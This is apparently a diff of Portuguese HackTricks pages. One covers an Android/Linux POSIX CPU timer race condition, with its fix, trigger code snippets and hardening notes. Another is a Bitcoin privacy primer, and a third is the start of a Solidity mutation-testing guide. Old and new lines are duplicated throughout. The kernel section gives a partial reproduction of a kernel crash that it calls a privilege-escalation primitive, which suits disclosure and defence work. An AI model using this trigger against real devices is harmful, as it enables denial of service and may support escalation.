Esta página documenta uma condição de corrida TOCTOU em POSIX CPU timers do Linux/Android que pode corromper o estado do timer e causar crash no kernel, e, em certas circunstâncias, ser direcionada para elevação de privilégios.
Esta página documenta uma condição de corrida TOCTOU em Linux/Android POSIX CPU timers que pode corromper o estado do timer e travar o kernel, e sob algumas circunstâncias ser direcionada para privilege escalation.
- Componente afetado: kernel/time/posix-cpu-timers.c
- Primitiva: expiry vs deletion race sob saída de tarefa
- Primitiva: expiry vs deletion race under task exit
- Sensível à configuração: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Rápido resumo interno (relevante para exploração)
- Três clocks de CPU alimentam a contabilização dos timers via cpu_clock_sample():
Resumo rápido dos internos (relevante para exploração)
- Três clocks de CPU gerenciam a contabilização dos timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime apenas
- CPUCLOCK_SCHED: task_sched_runtime()
- A criação do timer conecta um timer a uma task/pid e inicializa os nós da timerqueue:
- A criação do timer conecta um timer a uma task/pid e inicializa os nodes da timerqueue:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- O caminho rápido evita processamento custoso, a menos que expirações em cache indiquem possível disparo:
- O caminho rápido evita processamento caro, a menos que as expirações em cache indiquem possível disparo:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
return false;
}
```
- Expiração coleta temporizadores expirados, marca-os como disparados, retira-os da fila; a entrega efetiva é adiada:
- A expiração coleta timers expirados, marca-os como disparados, remove-os da fila; a entrega real é adiada:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -69,8 +69,8 @@ return U64_MAX;
}
```
Dois modos de processamento de expiração
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na tarefa alvo
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto de IRQ
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na task alvo
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
}
#endif
```
No caminho em contexto IRQ, a lista de disparo é processada fora do sighand
No caminho IRQ-context, a lista de disparo é processada fora do sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
@ -114,44 +114,44 @@ spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU entre expiração em tempo de IRQ e exclusão concorrente durante a finalização da tarefa
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- A tarefa alvo está saindo mas não foi totalmente finalizada
Root cause: TOCTOU entre expiry em IRQ-time e deleção concorrente durante exit de task
Pré-condições
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK está desabilitado (caminho IRQ em uso)
- A tarefa alvo está saindo mas não foi totalmente reaped
- Outra thread chama posix_cpu_timer_del() concorrentemente para o mesmo timer
Sequence
1) update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a tarefa em saída.
Sequência
1) update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a task em saída.
2) collect_timerqueue() define ctmr->firing = 1 e move o timer para a lista temporária de firing.
3) handle_posix_cpu_timers() solta sighand via unlock_task_sighand() para entregar timers fora do lock.
4) Imediatamente após o unlock, a tarefa em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
5) Nesta janela, posix_cpu_timer_del() pode falhar ao adquirir o state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a proteção normal in-flight que verifica timer->it.cpu.firing. A deleção prossegue como se não estivesse firing, corrompendo o state enquanto a expiração está sendo tratada, levando a travamentos/UB.
4) Imediatamente após o unlock, a task em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
5) Nesse intervalo, posix_cpu_timer_del() pode falhar em obter state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a verificação normal in-flight que checa timer->it.cpu.firing. A deleção prossegue como se não estivesse firing, corrompendo o estado enquanto a expiração está sendo tratada, levando a falhas/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Por que o modo TASK_WORK é seguro por design
- Com CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, a expiração é adiada para task_work; exit_task_work roda antes de exit_notify, então o overlap em IRQ-time com reaping não ocorre.
- Mesmo assim, se a tarefa já estiver saindo, task_work_add() falha; a verificação em exit_state torna ambos os modos consistentes.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
- Adicionar um retorno antecipado se a tarefa atual estiver saindo, limitando todo o processamento:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Isso evita a entrada em handle_posix_cpu_timers() para tarefas em saída, eliminando a janela onde posix_cpu_timer_del() poderia perder it.cpu.firing e competir com o processamento de expiração.
- Isto evita entrar em handle_posix_cpu_timers() para tarefas que estão a sair, eliminando a janela onde posix_cpu_timer_del() poderia perder it.cpu.firing e competir (race) com o processamento de expiry.
Impacto
- Corrupção de memória do Kernel em estruturas de timer durante expiração/eliminação concorrente pode causar travamentos imediatos (DoS) e é um primitivo forte para privilege escalation devido a oportunidades de manipulação arbitrária do kernel-state.
- Corrupção de memória do kernel nas timer structures durante expiry/deletion concorrantes pode causar quedas imediatas (DoS) e é um primitivo forte para privilege escalation, devido às oportunidades de manipulação arbitrária do kernel-state.
Acionando o bug (condições seguras e reprodutíveis)
Triggering the bug (safe, reproducible conditions)
Build/config
- Garanta CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem a correção que aplica o gating de exit_state.
- Certifique-se de que CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem o exit_state gating fix.
Estratégia em tempo de execução
- Alveje uma thread que está prestes a sair e anexe um CPU timer a ela (per-thread or process-wide clock):
Runtime strategy
- Alveje uma thread prestes a sair e anexe um CPU timer a ela (per-thread ou process-wide clock):
- Para per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Para process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arme com uma expiração inicial muito curta e um intervalo pequeno para maximizar entradas no IRQ-path:
- Arme com um tempo inicial de expiração muito curto e intervalo pequeno para maximizar entradas no IRQ-path:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -165,31 +165,31 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- A partir de um sibling thread, exclua simultaneamente o mesmo timer enquanto o target thread encerra:
- A partir de uma thread irmã, exclua concorrentemente o mesmo timer enquanto a thread alvo sai:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Amplificadores de race: alta taxa de ticks do scheduler, carga da CPU, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na lookup/lock da task logo após unlock_task_sighand().
- Race amplifiers: alta taxa de ticks do scheduler, carga de CPU, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na lookup/lock da task logo após unlock_task_sighand().
Detection and hardening
- Mitigation: aplique o exit_state guard; prefira habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
- Observability: adicione tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alerte quando it.cpu.firing==1 for observado junto com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitore inconsistências em timerqueue ao redor da saída da task.
Detecção e hardening
- Mitigação: aplicar o exit_state guard; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
- Observabilidade: adicionar tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alertar quando it.cpu.firing==1 for observado junto com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitorar inconsistências no timerqueue ao redor da saída da task.
Audit hotspots (for reviewers)
Pontos de auditoria (para revisores)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
- seleção de __run_posix_cpu_timers() (TASK_WORK vs IRQ path)
- collect_timerqueue(): define ctmr->firing e move nós
- handle_posix_cpu_timers(): libera sighand antes do loop de firing
- posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiração in-flight; essa verificação é pulada quando a lookup/lock da task falha durante exit/reap
Notes for exploitation research
- O comportamento divulgado é um primitivo confiável de crash do kernel; transformá-lo em escalada de privilégios normalmente requer uma sobreposição adicional controlável (object lifetime ou write-what-where influence) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizador e execute apenas em emuladores/VMs.
Notas para pesquisa de exploração
- O comportamento divulgado é uma primitiva confiável para crash do kernel; transformá-lo em privilege escalation normalmente requer uma sobreposição adicional controlável (object lifetime ou write-what-where) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizadora e execute apenas em emuladores/VMs.
## Referências
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,178 +1,186 @@
# Blockchain e Cripto-moedas
# Blockchain e Criptomoedas
{{#include ../../banners/hacktricks-training.md}}
## Conceitos Básicos
- **Smart Contracts** são definidos como programas que são executados em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** são construídas sobre smart contracts, apresentando um front-end amigável ao usuário e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam-se: coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** indicam propriedade de ativos.
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
- **DEX** e **DAOs** referem-se a Plataformas de Exchange Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** são construídas sobre smart contracts, com um front-end amigável ao usuário e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam-se no sentido em que coins funcionam como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
- **DeFi** significa finanças descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
- **DEX** e **DAOs** referem-se, respectivamente, a Plataformas de Exchange Descentralizadas e Organizações Autônomas Descentralizadas.
## Mecanismos de Consenso
Mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
- **Proof of Work (PoW)** baseia-se em poder computacional para verificação de transações.
- **Proof of Stake (PoS)** exige que validadores detenham uma certa quantidade de tokens, reduzindo o consumo de energia comparado ao PoW.
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação com PoW.
## Conceitos Essenciais do Bitcoin
### Transações
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas por assinaturas digitais, garantindo que somente o proprietário da chave privada possa iniciar transferências.
As transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas por assinaturas digitais, garantindo que somente o proprietário da chave privada possa iniciar transferências.
#### Componentes Principais:
#### Componentes-chave:
- **Multisignature Transactions** requerem múltiplas assinaturas para autorizar uma transação.
- As transações consistem em **inputs** (origem dos fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
- As transações consistem em **inputs** (origem dos fundos), **outputs** (destino), **fees** (pagas aos miners) e **scripts** (regras da transação).
### Lightning Network
Visa melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo à blockchain apenas o estado final.
Visa melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, apenas transmitindo o estado final para a blockchain.
## Preocupações de Privacidade no Bitcoin
## Preocupações de Privacidade do Bitcoin
Ataques de privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transações. Estratégias como **Mixers** e **CoinJoin** melhoram o anonimato ao obscurecer os vínculos de transações entre usuários.
Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transações. Estratégias como **Mixers** e **CoinJoin** melhoram o anonimato ao obscurecer ligações de transações entre usuários.
## Adquirir Bitcoins Anonimamente
## Aquisição de Bitcoins Anonimamente
Métodos incluem troca em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações normais para maior privacidade.
# Ataques de Privacidade no Bitcoin
# Ataques de Privacidade do Bitcoin
# Resumo dos Ataques de Privacidade no Bitcoin
# Resumo dos Ataques de Privacidade do Bitcoin
No universo do Bitcoin, a privacidade das transações e o anonimato dos usuários são frequentemente motivo de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade no Bitcoin.
No mundo do Bitcoin, a privacidade das transações e o anonimato dos usuários são frequentemente motivo de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade no Bitcoin.
## **Common Input Ownership Assumption**
Geralmente é raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de entrada na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
Geralmente é raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação costumam ser assumidos como pertencentes ao mesmo dono**.
## **UTXO Change Address Detection**
Uma UTXO, ou **Saída de Transação Não Gasta**, deve ser totalmente gasta em uma transação. Se apenas uma parte for enviada para outro endereço, o restante vai para um novo endereço de troco. Observadores podem assumir que esse novo endereço pertence ao remetente, comprometendo a privacidade.
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte for enviada para outro endereço, o restante vai para um novo endereço de change. Observadores podem assumir que esse novo endereço pertence ao remetente, comprometendo a privacidade.
### Exemplo
Para mitigar isso, serviços de mixagem ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
Para mitigar isso, serviços de mixing ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
## **Exposição em Redes Sociais e Fóruns**
## **Social Networks & Forums Exposure**
Usuários às vezes compartilham seus endereços Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
Usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
## **Análise de Grafo de Transações**
## **Transaction Graph Analysis**
Transações podem ser visualizadas como grafos, revelando conexões potenciais entre usuários com base no fluxo de fundos.
## **Heurística de Entrada Desnecessária (Heurística de Troco Ótimo)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Essa heurística baseia-se em analisar transações com múltiplas entradas e saídas para adivinhar qual saída é o troco que retorna ao remetente.
Essa heurística baseia-se em analisar transações com múltiplos inputs e outputs para adivinhar qual output é o change que retorna ao remetente.
### Exemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Se adicionar mais inputs fizer com que a saída de change seja maior do que qualquer input individual, isso pode confundir a heurística.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Forced Address Reuse**
Atacantes podem enviar pequenas quantias para endereços já usados, esperando que o destinatário combine essas quantias com outros inputs em transações futuras, ligando os endereços entre si.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Comportamento correto da wallet
### Comportamento Correto da Carteira
As carteiras devem evitar usar moedas recebidas em endereços já usados e vazios para prevenir este privacy leak.
Carteiras should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Other Blockchain Analysis Techniques**
## **Outras Técnicas de Análise de Blockchain**
- **Exact Payment Amounts:** Transações sem change provavelmente são entre dois endereços pertencentes ao mesmo usuário.
- **Round Numbers:** Um número arredondado em uma transação sugere que é um pagamento, com a saída não arredondada provavelmente sendo o change.
- **Wallet Fingerprinting:** Diferentes wallets têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software usado e, potencialmente, o endereço de change.
- **Amount & Timing Correlations:** Divulgar os horários ou valores das transações pode torná-las rastreáveis.
- **Exact Payment Amounts:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
- **Round Numbers:** Um número arredondado em uma transação sugere que é um pagamento, com a saída não arredondada provavelmente sendo o troco.
- **Wallet Fingerprinting:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software usado e potencialmente o endereço de troco.
- **Amount & Timing Correlations:** Divulgar horários ou valores de transações pode torná-las rastreáveis.
## **Traffic Analysis**
## **Análise de Tráfego**
Ao monitorar o tráfego de rede, atacantes podem potencialmente ligar transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade opera muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
Ao monitorar o tráfego de rede, atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
## Mais
Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
Para uma lista abrangente de ataques de privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transações Bitcoin Anônimas
## Formas de Obter Bitcoins de Forma Anônima
## Maneiras de Obter Bitcoins Anonimamente
- **Cash Transactions**: Adquirir bitcoin em dinheiro.
- **Cash Alternatives**: Comprar gift cards e trocá-los online por bitcoin.
- **Mining**: O método mais privado para ganhar bitcoins é através de mining, especialmente quando feito sozinho, porque mining pools podem conhecer o endereço IP do minerador. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Cash Transactions**: Adquirir bitcoin com dinheiro.
- **Cash Alternatives**: Comprar cartões-presente e trocá-los online por bitcoin.
- **Mining**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o IP do minerador. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
## Mixing Services
## Serviços de Mixagem
Ao usar um serviço de mixing, um usuário pode **enviar bitcoins** e **receber bitcoins diferentes em retorno**, o que dificulta rastrear o proprietário original. Porém, isso requer confiar que o serviço não mantenha logs e que de fato devolva os bitcoins. Opções alternativas de mixing incluem cassinos Bitcoin.
Ao usar um mixing service, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta rastrear o proprietário original. Ainda assim, isso requer confiar no serviço para não manter registros e para realmente devolver os bitcoins. Opções alternativas de mixagem incluem cassinos Bitcoin.
## CoinJoin
CoinJoin mescla múltiplas transações de diferentes usuários em uma só, complicando o processo para quem tenta casar inputs com outputs. Apesar da sua eficácia, transações com tamanhos únicos de inputs e outputs ainda podem ser rastreadas.
CoinJoin mescla múltiplas transações de diferentes usuários em uma única, complicando o processo para quem tenta casar inputs com outputs. Apesar de sua eficácia, transações com tamanhos únicos de inputs e outputs ainda podem potencialmente ser rastreadas.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Exemplos de transações que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, veja [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de miners.
## PayJoin
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação normal, sem as saídas iguais distintivas características do CoinJoin. Isso a torna extremamente difícil de detectar e pode invalidar a heurística de common-input-ownership usada por entidades de vigilância de transações.
Uma variante do CoinJoin, PayJoin (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem as saídas iguais características do CoinJoin. Isso a torna extremamente difícil de detectar e pode invalidar a common-input-ownership heuristic usada por entidades de vigilância de transações.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transações como a acima podem ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis de transações padrão do bitcoin.
Transações como a acima podem ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis de transações bitcoin padrão.
**O uso do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-o um desenvolvimento promissor na busca pela privacidade transacional.
**A utilização do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-o um desenvolvimento promissor na busca pela privacidade nas transações.
# Melhores Práticas de Privacidade em Criptomoedas
# Melhores Práticas para Privacidade em Criptomoedas
## **Técnicas de Sincronização de Carteiras**
## **Wallet Synchronization Techniques**
Para manter privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
Para manter a privacidade e a segurança, sincronizar wallets com a blockchain é crucial. Dois métodos se destacam:
- **Nó completo**: Ao baixar a blockchain inteira, um nó completo garante privacidade máxima. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços interessam ao usuário.
- **Filtragem de blocos no lado do cliente**: Esse método envolve criar filtros para cada bloco da blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos aos observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando há uma correspondência com os endereços do usuário.
- **Full node**: Ao baixar toda a blockchain, um full node garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificarem quais transações ou endereços interessam ao usuário.
- **Client-side block filtering**: Esse método envolve criar filtros para cada bloco na blockchain, permitindo que wallets identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Lightweight wallets baixam esses filtros, buscando blocos completos apenas quando há uma correspondência com os endereços do usuário.
## **Usando Tor para Anonimato**
## **Utilizing Tor for Anonymity**
Como o Bitcoin opera em uma rede peer-to-peer, recomenda-se usar Tor para mascarar seu endereço IP, aumentando a privacidade ao interagir com a rede.
## **Prevenção da Reutilização de Endereços**
## **Preventing Address Reuse**
Para proteger a privacidade, é vital usar um endereço novo para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por design.
Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao ligar transações à mesma entidade. Wallets modernas desencorajam o reuso de endereços pelo seu design.
## **Estratégias para Privacidade de Transações**
## **Strategies for Transaction Privacy**
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques de privacidade.
- **Evitar outputs de troco**: Optar por transações que não exigem outputs de troco aumenta a privacidade ao atrapalhar métodos de detecção de troco.
- **Múltiplos outputs de troco**: Se evitar troco não for viável, gerar múltiplos outputs de troco ainda pode melhorar a privacidade.
- **Multiple transactions**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
- **Change avoidance**: Optar por transações que não requerem change outputs aumenta a privacidade ao interromper métodos de detecção de change.
- **Multiple change outputs**: Se evitar change não for viável, gerar múltiplos change outputs ainda pode melhorar a privacidade.
# **Monero: Um Farol de Anonimato**
# **Monero: A Beacon of Anonymity**
Monero atende à necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para privacidade.
Monero atende à necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão de privacidade.
# **Ethereum: Gas e Transações**
# **Ethereum: Gas and Transactions**
## **Entendendo o Gas**
## **Understanding Gas**
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação custando 2,310,000 gwei (ou 0.00231 ETH) envolve um gas limit e uma base fee, com uma tip para incentivar os miners. Usuários podem definir um max fee para garantir que não paguem em excesso, com o excedente sendo reembolsado.
Gas mede o esforço computacional necessário para executar operações na Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2,310,000 gwei (ou 0.00231 ETH) envolve um gas limit e uma base fee, com uma tip para incentivar os miners. Usuários podem definir uma max fee para garantir que não paguem em excesso, com o excedente sendo reembolsado.
## **Executando Transações**
## **Executing Transactions**
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou smart contract. Elas exigem uma taxa e devem ser mineradas. Informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, gas limit e taxas. Notavelmente, o endereço do remetente é deduzido a partir da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
Transações na Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de smart contract. Elas exigem uma fee e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, gas limit e fees. Notavelmente, o endereço do remetente é deduzido a partir da assinatura, eliminando a necessidade de incluílo nos dados da transação.
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje interagir com criptomoedas priorizando privacidade e segurança.
Essas práticas e mecanismos são fundamentais para quem pretende lidar com criptomoedas dando prioridade à privacidade e à segurança.
## Referências
## Smart Contract Security
- Mutation testing to find blind spots in test suites:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -181,9 +189,9 @@ Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje i
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## Exploração DeFi/AMM
## DeFi/AMM Exploitation
Se você está pesquisando exploração prática de DEXes e AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), consulte:
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), check:
{{#ref}}
defi-amm-hook-precision.md

View File

@ -0,0 +1,116 @@
# Teste de Mutação para Solidity com Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" ao introduzir sistematicamente pequenas alterações (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é eliminado. Se os testes ainda passarem, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que cobertura de linhas/ramificações não consegue detectar.
Ideia principal: a cobertura mostra que o código foi executado; o teste de mutação mostra se o comportamento foi realmente verificado.
## Por que a cobertura pode enganar
Considere esta verificação simples de limite:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
Testes unitários que só verificam um valor abaixo e um valor acima do limiar podem alcançar 100% de cobertura de linhas/branches enquanto deixam de afirmar o limite de igualdade (==). Um refactor para `deposit >= 2 ether` ainda passaria tais testes, quebrando silenciosamente a lógica do protocolo.
O teste por mutação expõe essa lacuna ao alterar a condição e verificar se seus testes falham.
## Operadores de mutação comuns em Solidity
O mecanismo de mutação do Slither aplica muitas edições pequenas que mudam a semântica, tais como:
- Substituição de operador: `+``-`, `*``/`, etc.
- Substituição de atribuição: `+=``=`, `-=``=`
- Substituição de constantes: não-zero → `0`, `true``false`
- Negação/substituição de condição dentro de `if`/loops
- Comentar linhas inteiras (CR: Comment Replacement)
- Substituir uma linha por `revert()`
- Troca de tipos de dados: ex., `int128``int64`
Objetivo: eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com raciocínio claro.
## Executando o teste por mutação com slither-mutate
